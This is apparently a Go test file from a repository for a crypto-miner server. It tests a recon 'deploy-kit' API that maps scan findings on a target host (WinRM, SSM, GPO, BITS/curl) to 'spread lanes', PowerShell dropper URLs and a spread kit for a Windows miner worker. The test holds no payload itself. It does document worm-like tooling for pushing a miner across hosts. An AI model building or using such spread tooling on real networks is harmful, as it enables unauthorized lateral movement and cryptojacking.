Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
POST /api/v1/recon/scan probes fleet ports from the server host, crawls owned HTTP targets, maps findings to spread lanes, and records optional oath ledger rows.
111 lines
3.4 KiB
Go
111 lines
3.4 KiB
Go
package api
|
|
|
|
import (
|
|
"encoding/json"
|
|
"net/http"
|
|
"net/http/httptest"
|
|
"os"
|
|
"path/filepath"
|
|
"testing"
|
|
|
|
"crypto-miner-server/internal/db"
|
|
"crypto-miner-server/internal/models"
|
|
)
|
|
|
|
func testReconSpreadHandler(t *testing.T) (*SpreadHandler, *DeployPlanHandler) {
|
|
t.Helper()
|
|
dir := t.TempDir()
|
|
root := t.TempDir()
|
|
writeSpreadTemplates(t, root)
|
|
artifact := filepath.Join(dir, "worker.exe")
|
|
if err := os.WriteFile(artifact, []byte("recon-kit-payload"), 0644); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
database, err := db.New(dir)
|
|
if err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
t.Cleanup(func() { _ = database.Close() })
|
|
if err := database.InsertBuild(&models.BuildRecord{
|
|
ID: "build-recon", WorkerName: "recon-worker", Platform: "windows",
|
|
FilePath: artifact, Pinned: true,
|
|
}); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
deployH := NewDeployPlanHandler(database, dir, root,
|
|
func() string { return "https://deck.example" },
|
|
func() string { return "fleet-secret" },
|
|
func() map[string]ServiceDeployLane { return NormalizeServiceDeployAllowlist(nil) },
|
|
)
|
|
spreadH := NewSpreadHandler(database, dir, root, nil)
|
|
spreadH.BindDeployPlan(deployH, func() string { return "https://deck.example" }, func() map[string]ServiceDeployLane {
|
|
return NormalizeServiceDeployAllowlist(nil)
|
|
})
|
|
return spreadH, deployH
|
|
}
|
|
|
|
func TestGetDeployKitWinRM(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.50&finding=WinRM", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
|
}
|
|
var out map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if out["join_lane"] != "winrm" {
|
|
t.Fatalf("join_lane: %v", out["join_lane"])
|
|
}
|
|
dropper, ok := out["dropper_urls"].(map[string]interface{})
|
|
if !ok || dropper["install_ps1"] == "" {
|
|
t.Fatalf("dropper_urls: %v", out["dropper_urls"])
|
|
}
|
|
if out["spread_kit_zip"] == nil {
|
|
t.Fatal("expected spread_kit_zip")
|
|
}
|
|
if out["deploy_plan_template"] == nil {
|
|
t.Fatal("expected deploy_plan_template")
|
|
}
|
|
}
|
|
|
|
func TestGetDeployKitSSM(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?host=10.1.2.99&finding=ssm", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
if rec.Code != http.StatusOK {
|
|
t.Fatalf("status %d body %s", rec.Code, rec.Body.String())
|
|
}
|
|
var out map[string]interface{}
|
|
if err := json.Unmarshal(rec.Body.Bytes(), &out); err != nil {
|
|
t.Fatal(err)
|
|
}
|
|
if out["join_lane"] != "ssm_document" {
|
|
t.Fatalf("join_lane: %v", out["join_lane"])
|
|
}
|
|
}
|
|
|
|
func TestGetDeployKitRequiresHost(t *testing.T) {
|
|
spreadH, _ := testReconSpreadHandler(t)
|
|
req := httptest.NewRequest(http.MethodGet, "/api/v1/recon/deploy-kit?finding=WinRM", nil)
|
|
rec := httptest.NewRecorder()
|
|
spreadH.GetDeployKit(rec, req)
|
|
if rec.Code != http.StatusBadRequest {
|
|
t.Fatalf("want 400 got %d", rec.Code)
|
|
}
|
|
}
|
|
|
|
func TestResolveReconFinding(t *testing.T) {
|
|
matched, lane, ok := resolveReconFinding("gpsvc", NormalizeServiceDeployAllowlist(nil))
|
|
if !ok || lane.Lane != "gpo" {
|
|
t.Fatalf("gpsvc → gpo: matched=%q lane=%q ok=%v", matched, lane.Lane, ok)
|
|
}
|
|
_, lane, ok = resolveReconFinding("", NormalizeServiceDeployAllowlist(nil))
|
|
if !ok || lane.Lane != "bits_curl" {
|
|
t.Fatalf("empty finding default: %v", lane.Lane)
|
|
}
|
|
}
|